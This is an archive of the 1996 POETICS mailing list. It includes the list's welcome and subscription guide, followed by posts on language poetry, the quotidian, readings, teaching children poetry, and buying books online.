Peter Gray <[redacted]> has just subscribed to the POETICS

Nico Vassilakis <[redacted]> has just subscribed to the

David Benedetti <[redacted]> has just subscribed to the POETICS

Mary Wang <[redacted]> has just subscribed to

Henry Gould <[redacted]> has just subscribed to the

"Walter K. Lew" <[redacted]> has just subscribed to the POETICS

Dan Raphael <[redacted]> has just subscribed to the POETICS list

Janet Hoelle <[redacted]> has just subscribed to the POETICS

Deanna Ferguson <[redacted]> has just subscribed to the POETICS list

Carol Close <[redacted]> has just subscribed to the POETICS

Rob Reuss <[redacted]> has just subscribed to the POETICS list (UB

John Byrne <[redacted]> has just subscribed

Marc Scroggins <[redacted]> had just subscribed

Rev.1-17-96

Welcome to the Poetics List

&

The Electronic Poetry Center

at the State University of New York - Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Who's Subscribed
4. Digest Option
5. When you'll be away
6. Archives of the Poetics List
7. To Subscribe to RIF/T
8. Interfaces, HTML, URL
9. The Electronic Poetry Center (EPC)
10. How to Reach the EPC
11. Poetics Archives at EPC
12. Publishers & Editors Read This!

_____

Appendix I: Some Links via EPC
Appendix II: Archives (Alternate)

[This document was prepared by Charles Bernstein ([redacted]. edu) and Loss Pequen~o Glazier ([redacted]).]

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1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume managable. Word-of-mouth (and its electronic equivalents) seems to be working fine: please feel free to invite people you know to sign-up. It is easier for me if they sign-up by themselves AND send me ([redacted]) a note telling me how they heard about the list. I will send them

this document in reply. Please contact Charles Bernstein (the listowner) if you have any questions about this policy.

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

I will be sent a notice of all subscription activity.

---

3. Who's Subscribed/Getting Addresses

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

  review poetics

This will give you current and accurate e-mail addresses for all subscribers. As a result, it is never necessary to post an address inquiry for a subscriber to the whole Poetics list.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option:

Send this one-line message (no subject line) to
[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this messagage:

set poetics mail

---

5. When you'll be away

You can temporarily turn off your mail by sending a message:

set poetics nomail

& turn it on again with: set poetics mail

---

6. Archives of the Poetics List

There are two ways to get archives. The easiest way is to use the archives of the list at the Electronic Poetry Center (EPC), for which see section 11 below. The other is described in Appendix II.

---

7. To Subscribe to RIF/T

Send an e-mail message to [redacted]. Leave the "Subject" line of the e-mail message blank. In the body of your e-mail message type:

subscribe e-poetry John Milton

replacing your real name for "John Milton"

You will receive a confirmation of your subscription soon thereafter.

Note: RIF/T is also available via the Electronic Poetry Center. Increasingly it is a richer experience to read RIF/T online because, at the EPC, it features hypertextual links, weaving related and disparate texts, hypertextual chapbooks, and graphical (and sound) files that cannot be mailed in ascii form. Mailing of ascii versions is continued through subscription; it is a good way to stay in touch since subscribers receive Tables of Contents and other RIF/T information, as well as some texts. Suscribers to RIF/T also receive the occasionally-issued _EPC.News_, the Electronic Poetry Center newsletter.

---

8. Interfaces, HTML, URL (EPC Preface)

Before describing the resources of the EPC and how to gain access to it, it is useful to understand a few Internet concepts.

8.1 Interface

The Web can be access through an ascii or a graphical interface. An ascii interface provides access through _screens_ of information with links to other areas appearing as highlighted text; Mosaic is a graphical interface basically superimposed on the Web structure that offers images, sound, video, and allows you to use your mouse as a navigational tool. The EPC is accessible through any of these interfaces. It is presently evolving strongly towards exclusive Web/Mosaic access.

Even as activities converge, it is also the time of divergent interfaces. I am often surprised by the number of our contributors and participants who do not even have gopher access. Most people, we figure, have some sort of Web access.

8.2 HTML

The standard for Web/Mosaic documents is the markup protocol called html. These are imbedded codes that you will see once in a while when you download an html document. These codes give instructions to the software about highlighting, fonts, and screen layout, as well as providing for the _hot links_ that make possible Web/Mosaic navigation.

8.3 URL

A URL, a "uniform resource locator," is to the Internet what a social security number is to a person. In a web/mosaic interace, the "go to URL" option will specify a specific and unique Internet address for you to go to.

---

9. What is the Electronic Poetry Center?

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to numerous electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. For texts housed at the Electronic Poetry Center, texts are "definitive" texts inasmuch as, prior to posting, they have been approved by their producers. JOURNALS distributed by the EPC include:

DIU / Albany
EPC.News / Buffalo
Experioddi(cyber)cist / Florence, AL
Inter\face / Albany, NY
Passages: A Technopoetics Journal / Albany, NY
Poemata - Canadian Poetry Assoc. / London, Ontario (Info)/
RIF/T: Electronic Space for New Poetry, Prose, & Poetics / Buffalo
Segue Foundation/Roof Book News / New York
TREE: TapRoot Electronic Edition / Lakewood, Ohio
We Magazine / Santa Cruz
Witz / Studio City, CA

The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. The Poetry & Poetics DOCUMENT Archive provides access to a number of documents of use to poets,

teachers, and researchers. Here you will find essay material and recent obituaries. The EPC also presently offers GALLERY, SOUND, EXHIBITS, and an ANNOUNCEMENTS area.

The Electronic Poetry Center is administered by Loss Glazier and Kenneth Sherwood in collaboration with Charles Bernstein. If you have comments or suggestions about sites to be added to the Center, do not hesitate to contact Loss Pequen~o Glazier, [redacted] or Kenneth Sherwood, [redacted]

---

10. How to reach the EPC

Via the World-Wide Web, the Center can be reached at http://writing.upenn.edu/epc (no spaces in the address)

Check with your system administrator if you have problems with access. Also ask about setting a "bookmark" through your system for quick and easy access to the Center when you invoke your interface.

---

11. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

---

12. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. Though files marked up with html are our goal, ascii files are perfectly acceptable.

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications **directly to the Poetics list** as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Appendix I: Some Links Provided by the EPC

Alternative-X
Basil Bunting Poetry Centre (Durham, England) [Informational]
Best-Quality Audio Web Poems (Rhode Island)
Carma Bums 'Tour of Words'
CICNET Electronic Journal Archive
Institute for Advanced Technology in the Humanities (Virginia)
Internet Poetry Archive (North Carolina)
Michigan Electronic Text Archive
Nous Refuse Discussion List (Illinois)
Postmodern Culture (North Carolina)
Whole Earth 'Lectronic Magazine

Appendix II: Alternate Method for Receiving Poetics Archives

You may also receive Poetics archives by e-mail, though the language is somewhat arcane.

To receive postings for a particular month, for example, send an e-mail message to [redacted]

message type:

get poetics.log9505 f=mail

Replace 95 (two digits) with the year and 05 (two digits) for the month you seek.

For a complete list of available back files, send the message

index poetics f=mail

---------- END OF POETICS LIST WELCOME

↑ Index

22. Charles Bernstein
Ear Inn Readings Feb. & March
Thu 1 Feb 1996

EAR INN READINGS

February and March

Saturdays at 2:30pm

326 Spring Street (New York City) ([redacted])

Feb. 3: Harryette Mullen and Chet Wiener

Feb. 10: Kevin Davies & Joe Ross

Feb. 17: Alan Davies & Tina Darragh

Feb. 24: Kim Rosenfield and Judith Goldman

March 2: Torque Benefit Reading with Robert Fitterman, Abigail Child, Joe Elliot, Lisa Jarnot, and more

March 9: Andrew Levy and Lori Lubeski

March 16: Norma Cole and Malanie Neilson

March 23: Stacy Doris and Jeff Hull

March 30: New York City Poetry Talks

Curated by Liz Fodaski

To get on the Ear Inn mailing list write Segue Foundation, 303 East 8th Street, New York, NY 10009

↑ Index

23. Edward Foster
Re: dunno but
Thu 1 Feb 1996

---

jordan: i'd better not name the school, or i might get hung. i showed them a bob holman tape and asked them to try writing music with words. but you can't get away from subjects. said one totally beautiful child, do you always write about boys? hmmmm. no, i said, there are just as many about girls. yes, and he even writes about boys and girls together, said the teacher brightly. hmmmm. oh, well, sometimes it's best just to say nothing at all. anyway, i suggested they all see see bob's tv-channel 13 show tonight, then learned it's WAY past bedtime. oh, lord, flubbed again. -ed

↑ Index

24. Steve Carll
Re: dunno but
Thu 1 Feb 1996

>>>Ed Foster: "i look out
>>>the window and i see . . ." the problem so early!
>
>>Steve Carll: It's just a phase, Ed, not necessarily a problem. The ones

who pursue
>>language because they're called to it will grow out of this "problem."
>
>Daniel Bouchard: Yes, and the others still have a chance to lead
relatively happy lives.

Steve Carll again: Exactly; hopefully, if the educational system or other circumstances of their lives don't shut them down, they'll hear something *else* calling them into becoming/being.

↑ Index

25. Stephen Galen Cope
Re: book/record ordering on the net
Thu 1 Feb 1996

Jordon:

For music there's the Compact Disc Connection -- pretty
good selection and very good prices. I access them via
telnet (199.35.15.2). There's another place that specializes
in European imports, but the prices are generally out of
my range. I beleive they're at 199.35.15.100...

I'd also love to find a good bookstore out here...

anyone?

-Stephen Cope

↑ Index

26. Thomas Bell
Re: neuromantic poetry
Thu 1 Feb 1996

---

necromantic?

On Thu, 1 Feb 1996, Joseph Zitt wrote:

> *On 31 Jan 96 at 21:50, Thomas Bell wrote:*
>
> *Did I hear right? Neurocromantic?*
>
> *Neocromagnon?*
> *---------1---------1---------1---------1---------1---------1----------*
> *|||/ Joseph Zitt ====* [redacted] *===== Human Systems \|||*
> *||/ Organizer, SILENCE: The John Cage Mailing List \||*
> *|/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|*

↑ Index

27. David Carl
poetics of the quotidian
Thu 1 Feb 1996

Sandra Gilbert has "challenged" me to demonstrate the extent to which "language poetry" (still perceived as a fairly homogenous group among most academic poets) participates in a poetics of the quotidian.

Any suggestions?

David Carl
[redacted]

↑ Index

28. Ron Silliman
Re: book/record ordering on the net
Fri 2 Feb 1996

Best all around bookstore on the net is Moe's Online. Unlike the original in Berkeley, it doesn't smell like Moe's old cigars. But they've put up all of their catalogs and it's a broad selection. (This is the place where Andrew Schelling worked as the poetry buyer for many years before heading off to Naropa.) I don't know the URL, but you could find it through Yahoo or Lycos or Alta Vista (Digital's new 64-bit web searcher) without too much difficulty.

I have ordered and received product from Moe's this way and it works just fine.

All best,
Ron Silliman

↑ Index

29. Robert Drake
Re: dunno but
Fri 2 Feb 1996

> *this morning spent an hour or so at a local grammar school because they wanted a specimen poet. lovely children who had written lovely (truly lovely) poems, tho without much music. very saddening. the intentions were there, must enthusiasm, but it was poetic "thought"*

my partner kris does a lot of these things, has _much_ better luck beginning with the aural rather than th written... starting out w/ performing work (including sound poetry), then to having them chant along with... a favorite fr the laer is the bp nichol: "what is the sound of a poem inside your Body Body Body Body...", quite impressive w/ a chorus of 30 kids, improvising new

bodyparts fr the poem to be in. final product is usually a tape on th little 4-track, dub in mulitple voices or sound effects...

come to think of it, this might be a good strategy fr other age-groups...

lbd

↑ Index

30. **Chris Stroffolino**
Re: poetics of the quotidian
Fri 2 Feb 1996

Dear David Carl-- As for the "hardcore" lang. po's, it seems Silliman's recent work (like TONER, etc) actually has a kind of WCW feel for the quotidian. Of course, you should ask Gilbert in what sense she means quotidian. Form? Diction? Scenes? Portraits? I think Rae Armantrout and Fanny Howe manage it too. I'm sure there's more, but these are the first ones that come to mind (AND THIS IS NOT A VALUE JUDGMENT OVER WHICH L POETS ARE BETTER BY THE WAY)---best, cs

↑ Index

31. **Hank Lazer**
Re: poetics of the quotidian
Fri 2 Feb 1996

David Carl,

Challenge Sandra Gilbert to read. I'd suggest almost anything by Ron Silliman, Lyn Hejinian, Kit Robinson for starters. If she's still looking for the quotidian, keep reading: Norman Fischer, my own work, Larry Eigner, Charles Bernstein, etc. Of course, she may be asking for a particular version of the quotidian, perhaps a reverential stare at an accepted sanctioned piece of the quotidian? The issue may be one not so much of the quotidian itself, but the contexts and rhetorics of its presentation in poems.....

Hank Lazer

↑ Index

32. **Chris Stroffolino**
Re: poetics of the quotidian
Fri 2 Feb 1996

I could've SWORN there was a sentence in my post about Kit Robinson and Alan Davies....but it got lost in the mail. I'd include SOME of their work in the "quotidian" category as well....

↑ Index

33. Gwyn McVay
Re: neuromantic poetry
Fri 2 Feb 1996

My overromantic sensibility prefers "neurochromatic," like a rainbow spray of nerve endings.

↑ Index

34. Gwyn McVay
Re: poetics of the quotidian
Fri 2 Feb 1996

If you consider Hejinian a "language poet," which is utterly debatable but which an academician like Gilbert might well do, you could point to her poem 2 from the Redo sequence:

Nostalgia is the elixir drained
from guilt--I've been writing
--with fingers of my non-writing hand
I patted the dashboard. "Hi car."
It responds, "Hello, Mommy."

The city is uncarlike. She who had lived
all her life in the city and absorbed
all its laws in her blood--madness, really
--she waited for the light
to change and stepped into the traffic
on red....

and so on.

↑ Index

35. Mark Roberts
Re: book/record ordering on the net
Fri 2 Feb 1996

> *Can onnyone offer a a consumer g-g-guide*
> *to book and record buying over th' net?*
>
> *That is, are there urls that people have used*
> *and found thorough and reliable?*
>
> *I've bought some books from BookFinders (british outfit)..*

> *Jordan..*

Jordan & others

Australian Writing On Line will start making Australian small presses and journals available by mail and 'net' order shortly and I will send details to POETICS. We will be new to this form of commerce (at the moment we are distributing small presses to bookshops and selling directly at readings and conferences) so I would be interested to hear of what short of experience people have had buying books over the net.

We will have a WWW page with a catalogue and a order form (we will also email catalogues out). People could print out the form add their credit card details and fax or mail (snail) back to us. We want to avoid collecting cc details over the net.

By the way AWOL will have a new email address within the next few days but people can still contact me at the Sydney Uni address.

Mark

↑ Index

36. Keith Tuma
Re: poetics of the quotidian
Fri 2 Feb 1996

Re Gilbert and the quotidian:

Hank's right that it depends on what questions/frames Gilbert wants to ponder for the quotidian. So why don't you (David Carl) encourage her to sign on and ask for herself?

Charles B. has posted his syllabus for a seminar on the ordinary at the EPC, and that might be relevant. Rumor has it too that Marjorie Perloff has a book-manuscript perhaps relevant too. Is that right Marjorie?

I'd vote for Bernadette Mayer's Midwinter Day, Bernstein's "Emotions of Normal People" (moving the q to discourse etc.), Scalapino's Way, and (with Chris) Ron Silliman's Toner, with its hilarious first line ("Meet my personality") playing on the title. RS's Jones too. All those people probably count as langpo for Gilbert. Eigner is probably closer to what she's looking for in "quotidian." But it's hard to guess, so as i say why not ask her to sign on and ask? And then maybe someday they'll be a new Norton which does a little more than gesture at recent "experimental" writing by adding Michael Palmer and Kamau Brathwaite (as does the new edition of the Norton Anthology of Poetry edited by Ferguson, Salter, and Stallworthy).

Keith Tuma

↑ Index

37. Jordan Davis
Re: dunno but
Fri 2 Feb 1996

Ed-- how'd you like the holman show (Hi Bob!).. saw sparrow the other day and he seemed in pain tho happy to be on the verge of fame.. "If it ain't a pleasure it ain't a poem" indeed.. and what's wrong with _subjects_ and _letters_ anyway? this ties in I think with something Larry Price was saying about the link between the alphabetic and the napoleonic, maybe, but I'm suspicious.. fear of subject = post-nixon trauma for me.. I like subjects and letters and I don't mind if they smother me someday.. is that it?

Ron--
www.moesbooks.com? got it. And thanks all frontchannel and back for urls and tips..

Chris, David, Hank-- are you sure she was looking at the poetics of the quotidian with an eye toward validation? valorization? usually that quot-quot-quotidian gets blunted down to the pers-pers-personal.. which is anybody's whipping baby..

Jordan--

↑ Index

38. Ange Mlinko/PWS/International Thomson Publishing
Re: dunno but
Fri 2 Feb 1996

The big round writing of the atavist recidivist
Is just what we're after, we say we
Dare to write by our window & look out it
Even if the mention is the same every day

--Bernadette Mayer, lift #15/16

↑ Index

39. Jorge Guitart
Re: Marchand Du Sel & Rose Selavy
Fri 2 Feb 1996

(by cris cheek,tom bell, maria damon, jordan davis, jorge guitart, lisa samuels, & gabrielle wellford)

> *to trim xray architecture shirts slowly over the wellspring dovetailed*
>
> *for angels from aching or is it mapped*
>
> *participle laredo allows hoodlum rainbow and flip salubrious*
>
> *whimpering foraged aura container dangling over a set slowly better*
>
> *delfin forging better yet 'e' over hailwater architecture*

↑ Index

40. Kevin Killian
The Hellfire Club
Fri 2 Feb 1996

This is Kevin Killian speaking. I've been reading Peter Straub's new thriller, "The Hellfire Club." In it, for reasons too complicated to explain here, a serial killer on the run is forced to pose as a language poet and gets put on the spot, asked where he's "been published." In Avec, Conjunctions and Lingo. "Are you part of a community of poets?" "We Language poets like to get together at a nice little saloon called Gilhoolie's." "How would you define Language poetry?" "Exactly what it sounds like," Dart said, "Language, as much of it as possible."

If any of you knows Peter Straub's address please send it to me back-channel. Thanks!

↑ Index

41. Schuchat
Re: book/record ordering on the net
Fri 2 Feb 1996

I too have ordered books thru Rod Smith at Bridge Street (if you think its hard to find certain items in Dallas try Taipei!) and recommend him highly.

Simon Schuchat

↑ Index

42. Hank Lazer
Re: quotin' the quotidian
Fri 2 Feb 1996

Or:

And today is Monday. Today's lunch is: Spanish omelet, lettuce
  and tomato salad,
Jello, milk and cookies. Tomorrow's sloppy joe on bun,
Scalloped corn, stewed tomatoes, rice pudding and milk.
The names we stole don't remove us:
We have moved on a little ahead them
And now it is time to wait again.
Only waiting, the waiting: what fills up the time between?
It is another kind of wait, waiting for th wait to be ended.
Nothing takes up its fair share of time,
The wait is built into the things just coming into their own.
Nothing is partially incomplete, but the wait
Invests everything like a climate.
What time of day is it?
Does anything matter?
Yes, for you must wait to see what it is really like,
This event rounding the corner
Which will be unlike anything else and really
Cause no surprise: it's too ample.

Water
Drops from an air conditioner
On those who pass underneath. It's one of the sights of our town.
Puaagh. Vomit. Puaaaaagh. More vomit.

from Ashbery's "Grand Galop"

which words are "the quotidian"? I like the last line; surely vomit is rather quotidian, or vomit sounds.... And the lunch menu? Very quotidian? Are the questions and the discourse on waiting not quotidian? Whose quotidian?

Hank Lazer

↑ Index

43. Edward Foster

Re: dunno but

Fri 2 Feb 1996

---

just to take your point, dodie, about children writing poetry to satisfy/ impress (or whatever) adults--i do agree very much with that. there is a cultivated cuteness in much of it that i've seen. and it's quite personal, if only in that the writer is fishing for compliments (and, of course, has been encouraged to do that). and once that problem is set, it's almost impossible to root it out. i mainly deal with college and university students, and generally they will argue that poetry is personal statement. so what to do but (1) give them a poem by bruce

andrews to think about or (2) have them read foucault or some other theorist who deals with the historical invention of the self. but none of that really works, tho students may then write quite intricate papers about bruce andrews and foucault or some such matter in order to satisfy/impress (or whatever) the self who gives them their grades. i don't know what the answer is, tho i suspect it begins with any argument about teaching poetry. the only way to do it may be allen ginsberg's: everybody reading shelley in unison, very loudly.

↑ Index

44. Jim Pangborn

Re: poetics of the quotidian

Fri 2 Feb 1996

The Armantrout suggestion seems really promising, zeroing in on the way she torques the little set phrases people use to talk to themselves.

Two other possibilities: 1) Leslie Scalapino not only shows a language-y way of working with the quotidian but also demonstrates something of the breadth of what can be called langpo. 2) I would mention Robert Creeley's enthusiastic endorsement of langpo. I'm sure he'll testify to its quotidian pedigree--he's said many times that what is called language poetry is right in line with his own work's trajectory.

It's also true that, faced with such a demand, one should always wonder out loud what the heck "quotidian" is supposed to mean in our media-soaked culture. Is a "poetics of the quotidian" supposed to limit itself to everyday phrases or to do something with them? --or to them? Are we dealing with an "isn't it politically oppressive to use hard vocabulary words" objection here?

--JimP

> *Sandra Gilbert has "challenged" me to demonstrate the extent to which "language poetry" (still perceived as a fairly homogenous group among most academic poets) participates in a poetics of the quotidian.*
>
> *Any suggestions?*
>
> *David Carl*
> [redacted]

↑ Index

45. Henry Gould
challenges
Fri 2 Feb 1996

Sandra Gilbert's "challenge" sounds pretty mild & really "within the fold". If you want to read a real heavy challenge, see Mutlu Konuk Blasing's new book, Politics of Form in Postmodern Poetry (Cambridge). It's brilliant in the tendentious blunt-instrument way of criticism (in which taxonomies often end up being unfair to individual poets).

Blasing argues that Language poetry is "late modernism"; that it repeats the assumption that radical politics = political realism = avant-garde technique, based on the Pound/Olson schema that rhetoric (Pound's Victorianism, Olson's "magazine poetry") can be opposed by anti-rhetorical technique which unveils Nature/ the Real/the True (name your ideal). This "progressive", heroic anti-rhetorical technique IS the rhetoric of the avant-garde, but the fact of rhetorical motivation is suppressed.

Blasing claims that "true" postmodernism (as opposed to say "magazine" postmodernism as defined by the Norton anthology), as represented by her examples Ashbery, E. Bishop, Frank O'Hara, Merrill, shows a clean break with these Poundian modernist assumptions. Her postmodernists foreground their own rhetorical moves, and claim no political or metaphysical efficacy for their art (here she critiques the New Formalists on the same grounds); these poets also reject a "progressive" reading of literary history, in which "old" forms or techniques are inherently anachronistic and reactionary. Her description of the aesthetics of poetry - as a kind of surplus of meaning, reads however like a good description of language poetry. Also I think she reads Olson kind of tendentiously (sticking to his manifestos rather than his poetry as a whole). Nevertheless, this is a very powerful and perspicacious marshalling of arguments - I predict it will lead to some re-thinking about 21st century poetry.
--Henry Gould

↑ Index

46. Daniel Bouchard
Re: dunno but
Fri 2 Feb 1996

Ange Mlinko wrote:

> *The big round writing of the atavist recidivist*
> *Is just what we're after, we say we*
> *Dare to write by our window & look out it*
> *Even if the mention is the same every day*
>
> *--Bernadette Mayer, lift #15/16*

& ALSO:

The knowledge not sorrow, you were
    saying, but of boredom
Is- aside from reading speaking
   smoking-
Of what, Maude Blessingbourne it was,
    Wished to know when, having risen,
"approached the window as if to see
   what really was going on;"
And saw rain falling, in the distance
   More slowly,
The road clear from her past the window-
   glass --
Of the world, weather-swept, with which
   one shares the century.

from Oppen's DISCRETE SERIES

[redacted]

↑ Index

47. David Golumbia

Re: book/record ordering on the net

Fri 2 Feb 1996

I have heard good things (as I said re: some records, a few days ago), about the CD web site at http://www.cdnow.com -- which seems to have about every CD in print, import and domestic, at reasonable prices.

For books, a similar service exists at http://www.amazon.com, which also seems to have about every book in print (not too many from exquisitely small presses however), as well as a pretty good list of volumes forthcoming, and some pretty neat profiling/emailing service features. Haven't tried that one either.

--
[redacted]
David Golumbia

↑ Index

48. Ray Davis
Re: poetics of the quotidian
Fri 2 Feb 1996

It was a great and unanticipated relief for me to find Silliman's poetry written on a bus about riding a bus. Hannah Weiner is the only "mystical" poet I know of whose spirit voices tell her to sit up straight, stop being such a loser, etc.

In fact, if we define "language poetry" as the poets I found starting with _In the American Tree_, I'd say that the first big rush for me was precisely that all the writers, no matter what their differences, had found ways to avoid that horrible "I am a sensitive artist looking for sensitive situations" tone we're all so familiar with from mainstream poetries, thus allowing a little real life to creep back in. Or rather a wide range of real lives.

Ray

↑ Index

49. Edward Foster
simon pettet
Fri 2 Feb 1996

adding to recent notes re: simon pettet, i mention the review in the brandnew poetry project newsletter, total praise as it must be: he's one of the best. a great precisionist who continued to write lyrical poems during the recent dark ages when those who should have known better were saying lyricism was done for. how wrong they were. anyway, here's one of the poems:

ECHO

Drink no more
From that pool wherein your
Fat face stares
back. What is this
pompous self-regard. It is
nothing.
Tho' it has been continuing
Lo these many years
and will continue without you
as others will stare
at the glasses on the table
at the emptiness
of your poor pot
sit back

breathe deep (and)
Consider the fountain.

so, for this and much much more, see his _selected poems_ (isbn 1-883689-39-9, $9.95) at the good stores we like or (perhaps fastest) [redacted] with Visa/Mastercard. amazing book.

↑ Index

50. Martin Spinelli
Announcing LINEbreak -- writers' radio
Fri 2 Feb 1996

Folks,

A genuinely interesting and engaging radio program is coming to the otherwise mediocre world of American public broadcasting.

The program "LINEbreak" begins national distribution in April and features in-depth conversation and extended performance by some of the most interesting writers at work today. LINEbreak guests include:

Barbara Guest Fiona Templeton
Cecilia Vicuna Peter Straub
Jackson Mac Low Robert Creeley
Madeline Gins Ted Pearson
Hannah Weiner Karen MacCormack
Steve McCaffery Carla Harryman
Ben Yarmolinsky Bruce Andrews
Paul Auster Ben Friedlander
Jena Osman Dennis Tedlock
Ray Federman Ken Sherwood
Loss Glazier (and others)

LINEbreak is a weekly half-hour typically featuring one artist per program in conversation and performance with interviewer and co-producer Charles Bernstein.

LINEbreak is unlike *anything* else on the radio. It offers a broad space for artists to perform and a forum for detailed discussion in an otherwise under-utilized medium. It is good radio.

Please call or write the Program Director at your public radio station and tell her or him:

* You want to hear more arts programming like LINEbreak when it airs in April.

* LINEbreak would be a valuable service to their arts/university/college audience (their most faithful constituency).

* It's completely free!

* To look for our ad in _Current_ and can contact me for more information:
  Martin Spinelli, LINEbreak Producer/Director
  [redacted]
  [redacted] fax: [redacted]

This is a great program and deserves to be heard where you are. If you don't know the name/address/phone of your local public station, email me and I'll get it to you.

We are also making LINEbreak available to other public broadcasters around the world. Ask your public broadcaster to contact me.

Poetic excerpts from LINEbreak are already available at the Electronic Poetry Center:
http://writing.upenn.edu/epc/linebreak

All LINEbreak programs will end up as full soundfiles in the EPC. Cassette copies will be available this summer.

For more information email me: [redacted]

Thanks,

Martin Spinelli

↑ Index

51. Chris Stroffolino
Re: poetics of the quotidian
Fri 2 Feb 1996

Keith, but I definitatly wouldn't call Bernadette a language poet-- and I don't at all mean that derogatorily to Bernadette--- didn't the L poets exclude her though they championed MacLow, etc-- I think this distinction needs to be maintained.... Though definitely tell Gilbert to read MIDWINTER, etc.....chris

↑ Index

52. Ange Mlinko/PWS/International Thomson Publishing
Re: poetics of the quotidian
Fri 2 Feb 1996

Keith, but I definitatly wouldn't call Bernadette a language poet-- and I don't at all mean that derogatorily to Bernadette--- didn't the L poets exclude her though they championed MacLow, etc--

Can anyone elaborate as to why Bernadette was excluded? I hope it was a damn good reason--but I can't imagine it was.

↑ Index

53. Gabrielle Welford
Re: book/record ordering on the net
Fri 2 Feb 1996

You can also write to Moes at "[redacted]" and just ask them to find books, etc. for you. They're very quick and pretty cheap in the sending too. Gab.

On Fri, 2 Feb 1996, Ron Silliman wrote:

> *Best all around bookstore on the net is Moe's Online. Unlike the original in Berkeley, it doesn't smell like Moe's old cigars. But they've put up all of their catalogs and it's a broad selection. (This is the place where Andrew Schelling worked as the poetry buyer for many years before heading off to Naropa.) I don't know the URL, but you could find it through Yahoo or Lycos or Alta Vista (Digital's new 64-bit web searcher) without too much difficulty.*
>
> *I have ordered and received product from Moe's this way and it works just fine.*
>
> *All best,*
> *Ron Silliman*

↑ Index

54. Maria Damon
Re: neuromantic poetry
Fri 2 Feb 1996

gwyn the girl sez:
My overromantic sensibility prefers "neurochromatic," like a rainbow spray of nerve endings.

i the girl say:
gorgioso! i think we've spawned a good twenty years of new poetic categories

around this fortunate misprision.
maria d

↑ Index

55. **Maria Damon**
Re: poetics of the quotidian
Fri 2 Feb 1996

---

david carl writes:

Sandra Gilbert has "challenged" me to demonstrate the extent to which "language poetry" (still perceived as a fairly homogenous group among most academic poets) participates in a poetics of the quotidian.

Any suggestions?

to which i reply: tell her to look at hejinian's "my life." it has just the right degree of accessibility to sway putative anti-langpo's and also has feminist possibilities that should appeal to gilbert's interpretive lens as i know it. from there, it's only a short step to mayer, dahlen, fraser, waldrop, etc. at least, this is how i myself started warming up to langpo. best, maria d

↑ Index

56. **Maria Damon**
Re: New Poetics Subscribers
Fri 2 Feb 1996

---

welcome all! --bests, maria damon

ps walter glad to have your real e-address, the kaya office gave me a diff. one. have you gotten my msgs? m d

↑ Index

57. **Blair Seagram**
Mus/Po Aaron Copland
Fri 2 Feb 1996

Also for the music and poetry collection:

Aaron Copland's A Lincoln Portrait which I believe (is this correct?) uses the words of Carl Sandberg and the one I have heard is with Eugene Ormandy conducting The Philadelphia Orchestra. The words are spoken by Adlai Stevenson.

↑ Index

58. Thomas Bell
Re: Marchand Du Sel & Rose Selavy
Fri 2 Feb 1996

>
> (by cris cheek,tom bell, maria damon, jordan davis, jorge
> guitart, lisa samuels, & gabrielle wellford)
>
> > >> to trim xray architecture shirts slowly over the wellspring dovetailed
> > >>
> > >> for angels from aching or is it mapped
> > >>
> > >> participle laredo allows hoodlum rainbow and flip salubrious
> > >>
> > >> whimpering foraged aura container dangling over a set slowly better
> > >>
> > >> delfin forging better yet 'e' over hailwater architecture
> > >>
of that stature dwarfs pink elephants and alphabet soup

↑ Index

59. Thomas Bell
Re: poetics of the quotidian
Fri 2 Feb 1996

Quotidian = quotable in a final?
Quotidian = common sense inverted?
?

On Fri, 2 Feb 1996, Jim Pangborn wrote:

> *The Armantrout suggestion seems really promising, zeroing in on the way she torques the little set phrases people use to talk to themselves.*
>
> *Two other possibilities: 1) Leslie Scalapino not only shows a language-y way of working with the quotidian but also demonstrates something of the breadth of what can be called langpo. 2) I would mention Robert Creeley's enthusiastic endorsement of langpo. I'm sure he'll testify to its quotidian pedigree--he's said many times that what is called language poetry is right in line with his own work's trajectory.*
>
> *It's also true that, faced with such a demand, one should always wonder out loud what the heck "quotidian" is supposed to mean in our media-soaked culture. Is a "poetics of the quotidian" supposed to limit itself to everyday phrases or to do something with them? --or to them? Are we dealing with an "isn't it politically oppressive to use hard*

> *vocabulary words" objection here?*
>
> *--JimP*
>
> *Sandra Gilbert has "challenged" me to demonstrate the extent to which "language poetry" (still perceived as a fairly homogenous group among most academic poets) participates in a poetics of the quotidian.*
>
> *Any suggestions?*
>
> *David Carl*
> [redacted]

↑ Index

60. **Janet Hoelle**
Re: poetics of the quotidian
Fri 2 Feb 1996

What about James Schuyler's works, particularly FREELY ESPOUSING, and specifically the poem, FEBRUARY. This, I think, epitomizes poetics of the quotidian.

↑ Index

61. **Steven Howard Shoemaker**
music and poetry
Fri 2 Feb 1996

